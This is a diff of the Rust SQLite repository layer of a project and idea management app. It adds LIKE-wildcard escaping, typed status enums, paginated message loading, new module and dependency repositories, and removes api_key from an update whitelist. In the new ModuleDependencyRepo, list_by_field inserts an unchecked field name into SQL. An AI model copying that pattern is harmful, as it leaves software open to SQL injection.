conn.execute( conn.execute(
"UPDATE ai_conversations SET title = ?1, messages = ?2, provider_id = ?3, model = ?4, models = ?5, archived = ?6, pinned = ?7, prompt_tokens = ?8, completion_tokens = ?9, updated_at = ?10 WHERE id = ?11", "UPDATE ai_conversations SET title = ?1, messages = ?2, provider_id = ?3, model = ?4, models = ?5, archived = ?6, pinned = ?7, prompt_tokens = ?8, completion_tokens = ?9, pinned_goals = ?10, pending_approvals = ?11, updated_at = ?12 WHERE id = ?13",
params![ params![
rec.title, rec.messages, rec.provider_id, rec.model, rec.models, rec.archived, rec.title, rec.messages, rec.provider_id, rec.model, rec.models, rec.archived,
if rec.pinned { 1i32 } else { 0i32 }, if rec.pinned { 1i32 } else { 0i32 },
rec.prompt_tokens, rec.completion_tokens, rec.prompt_tokens, rec.completion_tokens,
rec.updated_at, rec.id rec.pinned_goals, rec.pending_approvals, rec.updated_at, rec.id
], ],
) )
} }

View File

@@ -9,6 +9,7 @@ use df_types::error::Result;
use crate::db::Database; use crate::db::Database;
use crate::models::{IdeaRecord, KnowledgeEventRecord, KnowledgeRecord}; use crate::models::{IdeaRecord, KnowledgeEventRecord, KnowledgeRecord};
use df_types::types::IdeaStatus;
use super::impl_repo; use super::impl_repo;
use super::{now_millis_str, storage_err, validate_column_name}; use super::{now_millis_str, storage_err, validate_column_name};
@@ -93,7 +94,10 @@ fn idea_from_row(row: &Row<'_>) -> std::result::Result<IdeaRecord, rusqlite::Err
id: row.get("id")?, id: row.get("id")?,
title: row.get("title")?, title: row.get("title")?,
description: row.get("description")?, description: row.get("description")?,
status: row.get("status")?, status: {
let s: String = row.get("status")?;
IdeaStatus::from_db_str(&s).unwrap_or_default()
},
priority: row.get("priority")?, priority: row.get("priority")?,
score: row.get("score")?, score: row.get("score")?,
tags: row.get("tags")?, tags: row.get("tags")?,
@@ -200,7 +204,7 @@ impl_repo!(
"INSERT INTO ideas (id, title, description, status, priority, score, tags, source, promoted_to, ai_analysis, scores, related_ids, created_at, updated_at) "INSERT INTO ideas (id, title, description, status, priority, score, tags, source, promoted_to, ai_analysis, scores, related_ids, created_at, updated_at)
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14)", VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14)",
params![ params![
rec.id, rec.title, rec.description, rec.status, rec.priority, rec.id, rec.title, rec.description, rec.status.as_str(), rec.priority,
rec.score, rec.tags, rec.source, rec.promoted_to, rec.ai_analysis, rec.score, rec.tags, rec.source, rec.promoted_to, rec.ai_analysis,
rec.scores, rec.related_ids, rec.created_at, rec.updated_at rec.scores, rec.related_ids, rec.created_at, rec.updated_at
], ],
@@ -210,7 +214,7 @@ impl_repo!(
conn.execute( conn.execute(
"UPDATE ideas SET title = ?1, description = ?2, status = ?3, priority = ?4, score = ?5, tags = ?6, source = ?7, promoted_to = ?8, ai_analysis = ?9, scores = ?10, related_ids = ?11, updated_at = ?12 WHERE id = ?13", "UPDATE ideas SET title = ?1, description = ?2, status = ?3, priority = ?4, score = ?5, tags = ?6, source = ?7, promoted_to = ?8, ai_analysis = ?9, scores = ?10, related_ids = ?11, updated_at = ?12 WHERE id = ?13",
params![ params![
rec.title, rec.description, rec.status, rec.priority, rec.title, rec.description, rec.status.as_str(), rec.priority,
rec.score, rec.tags, rec.source, rec.promoted_to, rec.ai_analysis, rec.score, rec.tags, rec.source, rec.promoted_to, rec.ai_analysis,
rec.scores, rec.related_ids, rec.updated_at, rec.id rec.scores, rec.related_ids, rec.updated_at, rec.id
], ],
@@ -297,10 +301,11 @@ impl IdeaRepo {
params_vec.push(Box::new(s.clone())); params_vec.push(Box::new(s.clone()));
} }
if let Some(kw) = &keyword { if let Some(kw) = &keyword {
let pat = format!("%{kw}%"); let escaped = kw.replace('%', "\\%").replace('_', "\\_");
let pat = format!("%{escaped}%");
let p1 = params_vec.len() + 1; let p1 = params_vec.len() + 1;
let p2 = p1 + 1; let p2 = p1 + 1;
where_clauses.push(format!("(title LIKE ?{p1} OR description LIKE ?{p2})")); where_clauses.push(format!("(title LIKE ?{p1} OR description LIKE ?{p2}) ESCAPE '\\'"));
params_vec.push(Box::new(pat.clone())); params_vec.push(Box::new(pat.clone()));
params_vec.push(Box::new(pat)); params_vec.push(Box::new(pat));
} }
@@ -541,7 +546,8 @@ impl KnowledgeRepo {
/// 克制检索: top-N≤3(由调用方 limit 控制),精确匹配优先(语义模糊后做)。 /// 克制检索: top-N≤3(由调用方 limit 控制),精确匹配优先(语义模糊后做)。
pub async fn search(&self, query: &str, kind: Option<&str>, limit: usize) -> Result<Vec<KnowledgeRecord>> { pub async fn search(&self, query: &str, kind: Option<&str>, limit: usize) -> Result<Vec<KnowledgeRecord>> {
let conn = self.conn.clone(); let conn = self.conn.clone();
let pattern = format!("%{}%", query); let escaped = query.replace('%', "\\%").replace('_', "\\_");
let pattern = format!("%{escaped}%");
let kind = kind.map(|s| s.to_owned()); let kind = kind.map(|s| s.to_owned());
let limit_i = limit as i64; let limit_i = limit as i64;
tokio::task::spawn_blocking(move || { tokio::task::spawn_blocking(move || {
@@ -549,7 +555,7 @@ impl KnowledgeRepo {
let mut results = Vec::new(); let mut results = Vec::new();
if let Some(k) = &kind { if let Some(k) = &kind {
let mut stmt = guard let mut stmt = guard
.prepare(&format!("SELECT {KNOWLEDGE_COLS} FROM knowledges WHERE status = 'published' AND (title LIKE ?1 OR content LIKE ?2) AND kind = ?3 ORDER BY reuse_count DESC LIMIT ?4")) .prepare(&format!("SELECT {KNOWLEDGE_COLS} FROM knowledges WHERE status = 'published' AND (title LIKE ?1 ESCAPE '\\' OR content LIKE ?2 ESCAPE '\\') AND kind = ?3 ORDER BY reuse_count DESC LIMIT ?4"))
.map_err(storage_err)?; .map_err(storage_err)?;
let rows = stmt let rows = stmt
.query_map(params![pattern, pattern, k, limit_i], |row| knowledge_from_row(row)) .query_map(params![pattern, pattern, k, limit_i], |row| knowledge_from_row(row))
@@ -559,7 +565,7 @@ impl KnowledgeRepo {
} }
} else { } else {
let mut stmt = guard let mut stmt = guard
.prepare(&format!("SELECT {KNOWLEDGE_COLS} FROM knowledges WHERE status = 'published' AND (title LIKE ?1 OR content LIKE ?2) ORDER BY reuse_count DESC LIMIT ?3")) .prepare(&format!("SELECT {KNOWLEDGE_COLS} FROM knowledges WHERE status = 'published' AND (title LIKE ?1 ESCAPE '\\' OR content LIKE ?2 ESCAPE '\\') ORDER BY reuse_count DESC LIMIT ?3"))
.map_err(storage_err)?; .map_err(storage_err)?;
let rows = stmt let rows = stmt
.query_map(params![pattern, pattern, limit_i], |row| knowledge_from_row(row)) .query_map(params![pattern, pattern, limit_i], |row| knowledge_from_row(row))
@@ -1403,7 +1409,7 @@ mod tests {
id: id.to_string(), id: id.to_string(),
title: title.to_string(), title: title.to_string(),
description: String::new(), description: String::new(),
status: "draft".to_string(), status: IdeaStatus::Draft,
priority: 1, priority: 1,
score: None, score: None,
tags: None, tags: None,

View File

@@ -128,6 +128,57 @@ impl AiMessageRepo {
.map_err(storage_err)? .map_err(storage_err)?
} }
/// 按对话加载最近 N 条消息(分页懒加载,治长对话渲染卡顿)。
///
/// 从尾部取最近 `limit` 条(ORDER BY seq DESC LIMIT),返回时反转为 ASC 顺序(与
/// list_by_conversation 一致的 seq 升序)。`before_seq` 可选:指定后只取 seq < before_seq
/// 的消息(滚顶加载更多时的游标,取下一页更早的历史)。
///
/// 典型用法:
/// - 首次切入对话:list_recent(conv_id, 50, None) → 最近 50 条
/// - 滚顶加载更多:list_recent(conv_id, 50, Some(最早已加载消息的 seq)) → 再加载 50 条更早的
pub async fn list_recent(
&self,
conversation_id: &str,
limit: usize,
before_seq: Option<i64>,
) -> Result<Vec<AiMessageRecord>> {
let conn = self.conn.clone();
let conv_id = conversation_id.to_owned();
tokio::task::spawn_blocking(move || {
let guard = conn.blocking_lock();
// before_seq 有无分两个 SQL(参数化 LIMIT 必须用固定占位,Rust 侧 clamp 防 0)
let limit = limit.max(1) as i64;
let sql = if before_seq.is_some() {
"SELECT id, conversation_id, seq, role, content, parts, tool_call_id,
tool_calls, model, status, reasoning_content, timestamp, created_at
FROM ai_messages WHERE conversation_id = ?1 AND seq < ?2 ORDER BY seq DESC LIMIT ?3"
} else {
"SELECT id, conversation_id, seq, role, content, parts, tool_call_id,
tool_calls, model, status, reasoning_content, timestamp, created_at
FROM ai_messages WHERE conversation_id = ?1 ORDER BY seq DESC LIMIT ?2"
};
let mut stmt = guard.prepare(sql).map_err(storage_err)?;
let rows = match before_seq {
Some(seq) => stmt
.query_map(params![conv_id, seq, limit], ai_message_from_row)
.map_err(storage_err)?,
None => stmt
.query_map(params![conv_id, limit], ai_message_from_row)
.map_err(storage_err)?,
};
let mut results: Vec<AiMessageRecord> = Vec::new();
for r in rows {
results.push(r.map_err(storage_err)?);
}
// DESC → 反转为 ASC(与 list_by_conversation 一致顺序)
results.reverse();
Ok(results)
})
.await
.map_err(storage_err)?
}
/// 删除对话内 seq ∈ [min_seq, max_seq) 的消息(左闭右开)。 /// 删除对话内 seq ∈ [min_seq, max_seq) 的消息(左闭右开)。
/// ///
/// compress 压缩 / 编辑重生成 dirty 范围重写用:delete_range → insert_batch 原子覆盖。 /// compress 压缩 / 编辑重生成 dirty 范围重写用:delete_range → insert_batch 原子覆盖。

View File

@@ -22,22 +22,26 @@ mod idea_eval_repo;
mod idea_repo; mod idea_repo;
mod message_repo; mod message_repo;
mod project_event_repo; mod project_event_repo;
mod project_module_repo;
mod project_repo; mod project_repo;
mod project_service_repo; mod project_service_repo;
mod settings; mod settings;
mod task_link_repo; mod task_link_repo;
mod task_repo; mod task_repo;
mod module_dependency_repo;
pub use conversation_repo::*; pub use conversation_repo::*;
pub use idea_eval_repo::*; pub use idea_eval_repo::*;
pub use idea_repo::*; pub use idea_repo::*;
pub use message_repo::*; pub use message_repo::*;
pub use project_event_repo::*; pub use project_event_repo::*;
pub use project_module_repo::*;
pub use project_repo::*; pub use project_repo::*;
pub use project_service_repo::*; pub use project_service_repo::*;
pub use settings::*; pub use settings::*;
pub use task_link_repo::*; pub use task_link_repo::*;
pub use task_repo::*; pub use task_repo::*;
pub use module_dependency_repo::*;
// ============================================================ // ============================================================
// 辅助宏 — 消除多个 Repo 的重复样板 // 辅助宏 — 消除多个 Repo 的重复样板
@@ -305,6 +309,7 @@ mod baseline_tests {
let _ = TaskLinkRepo::new(&db); let _ = TaskLinkRepo::new(&db);
let _ = ProjectEventRepo::new(&db); let _ = ProjectEventRepo::new(&db);
let _ = ProjectServiceRepo::new(&db); let _ = ProjectServiceRepo::new(&db);
let _ = ProjectModuleRepo::new(&db);
let _ = BranchRepo::new(&db); let _ = BranchRepo::new(&db);
let _ = ReleaseRepo::new(&db); let _ = ReleaseRepo::new(&db);
let _ = WorkflowRepo::new(&db); let _ = WorkflowRepo::new(&db);

View File

@@ -0,0 +1,95 @@
//! 工程依赖关系 — module_dependencies 表 CRUD(V35,工程间依赖边)
//!
//! 简化版:insert / delete / list_by_field(查 project_id)。
use std::sync::Arc;
use rusqlite::{params, OptionalExtension, Row};
use tokio::sync::Mutex;
use crate::db::Database;
use crate::models::ModuleDependencyRecord;
use super::{storage_err};
fn dep_from_row(row: &Row<'_>) -> std::result::Result<ModuleDependencyRecord, rusqlite::Error> {
Ok(ModuleDependencyRecord {
id: row.get("id")?,
project_id: row.get("project_id")?,
from_module_id: row.get("from_module_id")?,
to_module_id: row.get("to_module_id")?,
dep_type: row.get("dep_type")?,
label: row.get("label")?,
created_at: row.get("created_at")?,
})
}
pub struct ModuleDependencyRepo {
conn: Arc<Mutex<rusqlite::Connection>>,
}
impl ModuleDependencyRepo {
pub fn new(db: &Database) -> Self {
Self { conn: db.conn() }
}
pub async fn insert(&self, record: ModuleDependencyRecord) -> Result<bool, df_types::error::Error> {
let conn = self.conn.clone();
tokio::task::spawn_blocking(move || {
let guard = conn.blocking_lock();
let r = &record;
let affected = guard
.execute(
"INSERT INTO module_dependencies \
(id, project_id, from_module_id, to_module_id, dep_type, label, created_at) \
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7)",
params![
r.id, r.project_id, r.from_module_id, r.to_module_id,
r.dep_type, r.label, r.created_at,
],
)
.map_err(storage_err)?;
Ok(affected > 0)
})
.await
.map_err(storage_err)?
}
pub async fn delete(&self, id: &str) -> Result<bool, df_types::error::Error> {
let conn = self.conn.clone();
let id = id.to_owned();
tokio::task::spawn_blocking(move || {
let guard = conn.blocking_lock();
let affected = guard
.execute("DELETE FROM module_dependencies WHERE id = ?1", params![id])
.map_err(storage_err)?;
Ok(affected > 0)
})
.await
.map_err(storage_err)?
}
pub async fn list_by_field(&self, field: &str, value: &str) -> Result<Vec<ModuleDependencyRecord>, df_types::error::Error> {
let conn = self.conn.clone();
let field = field.to_owned();
let value = value.to_owned();
tokio::task::spawn_blocking(move || {
let guard = conn.blocking_lock();
let sql = format!(
"SELECT id, project_id, from_module_id, to_module_id, dep_type, label, created_at \
FROM module_dependencies WHERE {field} = ?1 ORDER BY created_at ASC"
);
let mut stmt = guard.prepare(&sql).map_err(storage_err)?;
let rows = stmt
.query_map(params![value], dep_from_row)
.map_err(storage_err)?;
let mut results = Vec::new();
for r in rows {
results.push(r.map_err(storage_err)?);
}
Ok(results)
})
.await
.map_err(storage_err)?
}
}

View File

@@ -219,6 +219,7 @@ mod tests {
use super::*; use super::*;
use crate::crud::ProjectRepo; use crate::crud::ProjectRepo;
use crate::models::ProjectRecord; use crate::models::ProjectRecord;
use df_types::types::ProjectStatus;
/// 构造内存 DB + 占位 project(project_events.project_id FK 要求 projects 存在)。 /// 构造内存 DB + 占位 project(project_events.project_id FK 要求 projects 存在)。
async fn setup() -> (crate::db::Database, ProjectEventRepo) { async fn setup() -> (crate::db::Database, ProjectEventRepo) {
@@ -232,7 +233,7 @@ mod tests {
id: "proj-1".to_string(), id: "proj-1".to_string(),
name: "proj-1".to_string(), name: "proj-1".to_string(),
description: String::new(), description: String::new(),
status: "active".to_string(), status: ProjectStatus::Planning,
idea_id: None, idea_id: None,
path: None, path: None,
stack: None, stack: None,

View File

@@ -0,0 +1,322 @@
//! 工程系统 — project_modules 表 CRUD(V34,项目多工程,每个工程独立代码仓库)
//!
//! 对标 [`project_service_repo`] 的风格(手写 Repo,与设计 §五工程系统 IPC 对齐)。
//!
//! 关键设计:
//! - **不存 Git 状态**:分支/改动/最近提交是实时派生的(查 git 命令),不进表;
//! 表只存工程元数据(路径/Git 地址/技术栈)。
//! - **硬删**:`delete` / `delete_by_project` 物理删除(工程不需要软删审计追溯)。
//! - **sort_order 排序**:`list_by_project` 按 `sort_order ASC` 返回,前端工程列表稳定顺序。
//! - **auto_detected**:技术栈自动检测标志(扫描目录结构推断),人工覆盖时置 false。
use std::sync::Arc;
use rusqlite::{params, Row};
use tokio::sync::Mutex;
use crate::db::Database;
use crate::models::ProjectModuleRecord;
use super::{now_millis_str, storage_err};
// ============================================================
// from_row 辅助函数
// ============================================================
fn project_module_from_row(row: &Row<'_>) -> std::result::Result<ProjectModuleRecord, rusqlite::Error> {
Ok(ProjectModuleRecord {
id: row.get("id")?,
project_id: row.get("project_id")?,
name: row.get("name")?,
path: row.get("path")?,
git_url: row.get("git_url")?,
stack: row.get("stack")?,
auto_detected: row.get("auto_detected")?,
sort_order: row.get("sort_order")?,
created_at: row.get("created_at")?,
updated_at: row.get("updated_at")?,
})
}
// ============================================================
// Repo 实现(手写,参考 project_service_repo.rs 风格)
// ============================================================
/// 工程系统 CRUD(project_modules,V34,可改非审计)。
///
/// 与 [`ProjectServiceRepo`](super::ProjectServiceRepo) 同款手写 Repo:
/// 表有 `updated_at`,但工程无字段级白名单收口需求(无敏感字段、无枚举类型),
/// 故不强制走 `impl_repo!` 宏的 `update_field` 路径——`update_full` 整体替换足够。
pub struct ProjectModuleRepo {
conn: Arc<Mutex<rusqlite::Connection>>,
}
impl ProjectModuleRepo {
pub fn new(db: &Database) -> Self {
Self { conn: db.conn() }
}
/// 插入一条工程记录。`created_at` / `updated_at` 由本方法内部取当前毫秒覆盖。
/// 返回插入是否成功(affected > 0)。
pub async fn insert(&self, record: ProjectModuleRecord) -> Result<bool, df_types::error::Error> {
let conn = self.conn.clone();
let now = now_millis_str();
let mut rec = record;
rec.created_at = now.clone();
rec.updated_at = now;
tokio::task::spawn_blocking(move || {
let guard = conn.blocking_lock();
let conn = &*guard;
let r = &rec;
let affected = conn
.execute(
"INSERT INTO project_modules \
(id, project_id, name, path, git_url, stack, auto_detected, sort_order, created_at, updated_at) \
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10)",
params![
r.id, r.project_id, r.name, r.path,
r.git_url, r.stack, r.auto_detected, r.sort_order,
r.created_at, r.updated_at,
],
)
.map_err(storage_err)?;
Ok(affected > 0)
})
.await
.map_err(storage_err)?
}
/// 按 id 查询工程记录。
pub async fn get_by_id(&self, id: &str) -> Result<Option<ProjectModuleRecord>, df_types::error::Error> {
let conn = self.conn.clone();
let id = id.to_owned();
tokio::task::spawn_blocking(move || {
let guard = conn.blocking_lock();
let mut stmt = guard
.prepare("SELECT * FROM project_modules WHERE id = ?1")
.map_err(storage_err)?;
let row = stmt
.query_row(params![id], project_module_from_row)
.optional()
.map_err(storage_err)?;
Ok(row)
})
.await
.map_err(storage_err)?
}
/// 按项目查询全部工程(命中 idx_project_modules_project,按 sort_order ASC 稳定排序)。
pub async fn list_by_project(
&self,
project_id: &str,
) -> Result<Vec<ProjectModuleRecord>, df_types::error::Error> {
let conn = self.conn.clone();
let project_id = project_id.to_owned();
tokio::task::spawn_blocking(move || {
let guard = conn.blocking_lock();
let mut stmt = guard
.prepare(
"SELECT id, project_id, name, path, git_url, stack, auto_detected, sort_order, created_at, updated_at \
FROM project_modules WHERE project_id = ?1 ORDER BY sort_order ASC",
)
.map_err(storage_err)?;
let rows = stmt
.query_map(params![project_id], project_module_from_row)
.map_err(storage_err)?;
let mut results = Vec::new();
for r in rows {
results.push(r.map_err(storage_err)?);
}
Ok(results)
})
.await
.map_err(storage_err)?
}
/// 整体更新工程记录(全可变字段,保留 id 与 created_at,updated_at 内部覆盖)。
/// 返回是否命中(affected > 0)。
pub async fn update_full(&self, record: &ProjectModuleRecord) -> Result<bool, df_types::error::Error> {
let conn = self.conn.clone();
let mut rec = record.clone();
rec.updated_at = now_millis_str();
tokio::task::spawn_blocking(move || {
let guard = conn.blocking_lock();
let conn = &*guard;
let r = &rec;
let affected = conn
.execute(
"UPDATE project_modules SET \
project_id = ?1, name = ?2, path = ?3, git_url = ?4, stack = ?5, \
auto_detected = ?6, sort_order = ?7, updated_at = ?8 \
WHERE id = ?9",
params![
r.project_id, r.name, r.path,
r.git_url, r.stack, r.auto_detected, r.sort_order,
r.updated_at, r.id,
],
)
.map_err(storage_err)?;
Ok(affected > 0)
})
.await
.map_err(storage_err)?
}
/// 按 id 硬删工程(工程不需要软删审计追溯)。
pub async fn delete(&self, id: &str) -> Result<bool, df_types::error::Error> {
let conn = self.conn.clone();
let id = id.to_owned();
tokio::task::spawn_blocking(move || {
let guard = conn.blocking_lock();
let affected = guard
.execute(
"DELETE FROM project_modules WHERE id = ?1",
params![id],
)
.map_err(storage_err)?;
Ok(affected > 0)
})
.await
.map_err(storage_err)?
}
/// 按项目删除全部工程(删项目时级联清理,硬删)。
pub async fn delete_by_project(&self, project_id: &str) -> Result<bool, df_types::error::Error> {
let conn = self.conn.clone();
let project_id = project_id.to_owned();
tokio::task::spawn_blocking(move || {
let guard = conn.blocking_lock();
let affected = guard
.execute(
"DELETE FROM project_modules WHERE project_id = ?1",
params![project_id],
)
.map_err(storage_err)?;
Ok(affected > 0)
})
.await
.map_err(storage_err)?
}
}
// 引入 OptionalExtension 用于 query_row().optional()(避免每次写完整路径)
use rusqlite::OptionalExtension;
// ============================================================
// 单元测试 — ProjectModuleRepo CRUD(内存 DB,对标 project_service_repo 测试风格)
// ============================================================
#[cfg(test)]
mod tests {
use super::*;
use crate::db::Database;
/// 建库 + 建占位 project 满足 FK 约束 + 返回 repo(对标 project_service_repo::setup)。
async fn setup() -> (Database, ProjectModuleRepo, String) {
let db = Database::open_in_memory().await.expect("open_in_memory");
let project_id = "proj-test".to_string();
db.conn()
.blocking_lock()
.execute(
"INSERT INTO projects (id, name, status, path, stack, created_at, updated_at) \
VALUES (?1, ?2, 'active', '/tmp', 'rust', '0', '0')",
params![project_id, "Test Project"],
)
.expect("insert placeholder project");
let repo = ProjectModuleRepo::new(&db);
(db, repo, project_id)
}
fn mrec(project_id: &str, name: &str, path: &str) -> ProjectModuleRecord {
ProjectModuleRecord {
id: format!("mod-{name}"),
project_id: project_id.to_string(),
name: name.to_string(),
path: path.to_string(),
git_url: None,
stack: None,
auto_detected: false,
sort_order: 0,
created_at: "0".to_string(),
updated_at: "0".to_string(),
}
}
#[tokio::test]
async fn insert_and_get_by_id_reads_back_full_fields() {
let (_db, repo, pid) = setup().await;
let mut rec = mrec(&pid, "frontend", "/p/frontend");
rec.git_url = Some("https://example.com/f.git".to_string());
rec.stack = Some(r#"{"lang":"ts"}"#.to_string());
rec.auto_detected = true;
rec.sort_order = 2;
let ok = repo.insert(rec.clone()).await.expect("insert");
assert!(ok);
let got = repo.get_by_id(&rec.id).await.expect("get").expect("found");
assert_eq!(got.name, "frontend");
assert_eq!(got.path, "/p/frontend");
assert_eq!(got.git_url.as_deref(), Some("https://example.com/f.git"));
assert_eq!(got.stack.as_deref(), Some(r#"{"lang":"ts"}"#));
assert!(got.auto_detected);
assert_eq!(got.sort_order, 2);
}
#[tokio::test]
async fn list_by_project_orders_by_sort_order_asc() {
let (_db, repo, pid) = setup().await;
let mut a = mrec(&pid, "a", "/p/a");
a.sort_order = 5;
let mut b = mrec(&pid, "b", "/p/b");
b.sort_order = 1;
let mut c = mrec(&pid, "c", "/p/c");
c.sort_order = 3;
repo.insert(a).await.unwrap();
repo.insert(b).await.unwrap();
repo.insert(c).await.unwrap();
let list = repo.list_by_project(&pid).await.expect("list");
assert_eq!(list.len(), 3);
// sort_order ASC:b(1) → c(3) → a(5)
assert_eq!(list[0].name, "b");
assert_eq!(list[1].name, "c");
assert_eq!(list[2].name, "a");
}
#[tokio::test]
async fn update_full_changes_fields_and_preserves_created_at() {
let (_db, repo, pid) = setup().await;
let rec = mrec(&pid, "frontend", "/p/old");
repo.insert(rec.clone()).await.unwrap();
let original = repo.get_by_id(&rec.id).await.unwrap().unwrap();
// 整体更新:path 变了,sort_order 变了
let mut updated = original.clone();
updated.path = "/p/new".to_string();
updated.sort_order = 9;
let hit = repo.update_full(&updated).await.expect("update");
assert!(hit);
let got = repo.get_by_id(&rec.id).await.unwrap().unwrap();
assert_eq!(got.path, "/p/new");
assert_eq!(got.sort_order, 9);
// created_at 保留不变(update_full 不覆盖 created_at)
assert_eq!(got.created_at, original.created_at);
}
#[tokio::test]
async fn delete_removes_record() {
let (_db, repo, pid) = setup().await;
let rec = mrec(&pid, "frontend", "/p/f");
repo.insert(rec.clone()).await.unwrap();
let hit = repo.delete(&rec.id).await.expect("delete");
assert!(hit);
assert!(repo.get_by_id(&rec.id).await.unwrap().is_none());
}
#[tokio::test]
async fn delete_by_project_removes_all() {
let (_db, repo, pid) = setup().await;
repo.insert(mrec(&pid, "a", "/p/a")).await.unwrap();
repo.insert(mrec(&pid, "b", "/p/b")).await.unwrap();
let hit = repo.delete_by_project(&pid).await.expect("delete_by_project");
assert!(hit);
assert!(repo.list_by_project(&pid).await.unwrap().is_empty());
}
}

View File

@@ -6,6 +6,7 @@ use rusqlite::{params, Connection, OptionalExtension, Row};
use tokio::sync::Mutex; use tokio::sync::Mutex;
use df_types::error::Result; use df_types::error::Result;
use df_types::types::ProjectStatus;
use crate::db::Database; use crate::db::Database;
use crate::models::{ use crate::models::{
@@ -80,7 +81,10 @@ fn project_from_row(row: &Row<'_>) -> std::result::Result<ProjectRecord, rusqlit
id: row.get("id")?, id: row.get("id")?,
name: row.get("name")?, name: row.get("name")?,
description: row.get("description")?, description: row.get("description")?,
status: row.get("status")?, status: {
let s: String = row.get("status")?;
ProjectStatus::from_db_str(&s).unwrap_or_default()
},
idea_id: row.get("idea_id")?, idea_id: row.get("idea_id")?,
path: row.get("path")?, path: row.get("path")?,
stack: row.get("stack")?, stack: row.get("stack")?,
@@ -162,7 +166,7 @@ impl_repo!(
"INSERT INTO projects (id, name, description, status, idea_id, path, stack, created_at, updated_at) "INSERT INTO projects (id, name, description, status, idea_id, path, stack, created_at, updated_at)
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9)", VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9)",
params![ params![
rec.id, rec.name, rec.description, rec.status, rec.idea_id, rec.id, rec.name, rec.description, rec.status.as_str(), rec.idea_id,
rec.path, rec.stack, rec.created_at, rec.updated_at rec.path, rec.stack, rec.created_at, rec.updated_at
], ],
) )
@@ -171,7 +175,7 @@ impl_repo!(
conn.execute( conn.execute(
"UPDATE projects SET name = ?1, description = ?2, status = ?3, idea_id = ?4, path = ?5, stack = ?6, updated_at = ?7 WHERE id = ?8", "UPDATE projects SET name = ?1, description = ?2, status = ?3, idea_id = ?4, path = ?5, stack = ?6, updated_at = ?7 WHERE id = ?8",
params![ params![
rec.name, rec.description, rec.status, rec.idea_id, rec.name, rec.description, rec.status.as_str(), rec.idea_id,
rec.path, rec.stack, rec.updated_at, rec.id rec.path, rec.stack, rec.updated_at, rec.id
], ],
) )
@@ -238,8 +242,9 @@ impl ProjectRepo {
if let Some(kw) = &q.keyword { if let Some(kw) = &q.keyword {
let trimmed = kw.trim(); let trimmed = kw.trim();
if !trimmed.is_empty() { if !trimmed.is_empty() {
sql.push_str(" AND (name LIKE ? OR description LIKE ?)"); let escaped = trimmed.replace('%', "\\%").replace('_', "\\_");
let pattern = format!("%{trimmed}%"); sql.push_str(" AND (name LIKE ? OR description LIKE ?) ESCAPE '\\'");
let pattern = format!("%{escaped}%");
params_vec.push(Box::new(pattern.clone())); params_vec.push(Box::new(pattern.clone()));
params_vec.push(Box::new(pattern)); params_vec.push(Box::new(pattern));
} }

View File

@@ -295,6 +295,7 @@ mod tests {
use super::*; use super::*;
use crate::crud::ProjectRepo; use crate::crud::ProjectRepo;
use crate::models::ProjectRecord; use crate::models::ProjectRecord;
use df_types::types::ProjectStatus;
/// 构造内存 DB + 占位 project(project_services.project_id FK 要求 projects 存在)。 /// 构造内存 DB + 占位 project(project_services.project_id FK 要求 projects 存在)。
async fn setup() -> (crate::db::Database, ProjectServiceRepo) { async fn setup() -> (crate::db::Database, ProjectServiceRepo) {
@@ -308,7 +309,7 @@ mod tests {
id: "proj-1".to_string(), id: "proj-1".to_string(),
name: "proj-1".to_string(), name: "proj-1".to_string(),
description: String::new(), description: String::new(),
status: "active".to_string(), status: ProjectStatus::Planning,
idea_id: None, idea_id: None,
path: None, path: None,
stack: None, stack: None,

View File

@@ -180,8 +180,10 @@ pub fn allowed_columns_for(table: &str) -> Option<&'static [&'static str]> {
"id", "workflow_id", "node_id", "node_type", "status", "input_json", "output_json", "id", "workflow_id", "node_id", "node_type", "status", "input_json", "output_json",
"error_message", "started_at", "completed_at", "error_message", "started_at", "completed_at",
], ],
// api_key 不列入白名单:密钥写入应只走 update_full/insert + keyring 配套,
// 禁止 update_field 旁路绕过 keyring(防明文写回 DB)。
"ai_providers" => &[ "ai_providers" => &[
"id", "name", "provider_type", "api_key", "base_url", "default_model", "models", "id", "name", "provider_type", "base_url", "default_model", "models",
"is_default", "config", "created_at", "updated_at", "is_default", "config", "created_at", "updated_at",
], ],
"ai_conversations" => &[ "ai_conversations" => &[

View File

@@ -328,6 +328,7 @@ mod tests {
use super::*; use super::*;
use crate::crud::TaskRepo; use crate::crud::TaskRepo;
use crate::models::TaskRecord; use crate::models::TaskRecord;
use df_types::types::{ProjectStatus, TaskStatus};
/// 构造一条 TaskRecord fixture(18 字段全填,queue 默认 todo)。 /// 构造一条 TaskRecord fixture(18 字段全填,queue 默认 todo)。
fn trec(id: &str, project_id: &str) -> TaskRecord { fn trec(id: &str, project_id: &str) -> TaskRecord {
@@ -336,7 +337,7 @@ mod tests {
project_id: project_id.to_string(), project_id: project_id.to_string(),
title: format!("task-{id}"), title: format!("task-{id}"),
description: String::new(), description: String::new(),
status: "todo".to_string(), status: TaskStatus::Todo,
priority: 1, priority: 1,
branch_name: None, branch_name: None,
assignee: None, assignee: None,
@@ -369,7 +370,7 @@ mod tests {
id: "proj-1".to_string(), id: "proj-1".to_string(),
name: "proj-1".to_string(), name: "proj-1".to_string(),
description: String::new(), description: String::new(),
status: "active".to_string(), status: ProjectStatus::Planning,
idea_id: None, idea_id: None,
path: None, path: None,
stack: None, stack: None,

View File

@@ -7,6 +7,7 @@ use serde::{Deserialize, Serialize};
use tokio::sync::Mutex; use tokio::sync::Mutex;
use df_types::error::Result; use df_types::error::Result;
use df_types::types::TaskStatus;
use crate::db::Database; use crate::db::Database;
use crate::models::TaskRecord; use crate::models::TaskRecord;
@@ -24,7 +25,10 @@ fn task_from_row(row: &Row<'_>) -> std::result::Result<TaskRecord, rusqlite::Err
project_id: row.get("project_id")?, project_id: row.get("project_id")?,
title: row.get("title")?, title: row.get("title")?,
description: row.get("description")?, description: row.get("description")?,
status: row.get("status")?, status: {
let s: String = row.get("status")?;
TaskStatus::from_db_str(&s).unwrap_or_default()
},
priority: row.get("priority")?, priority: row.get("priority")?,
branch_name: row.get("branch_name")?, branch_name: row.get("branch_name")?,
assignee: row.get("assignee")?, assignee: row.get("assignee")?,
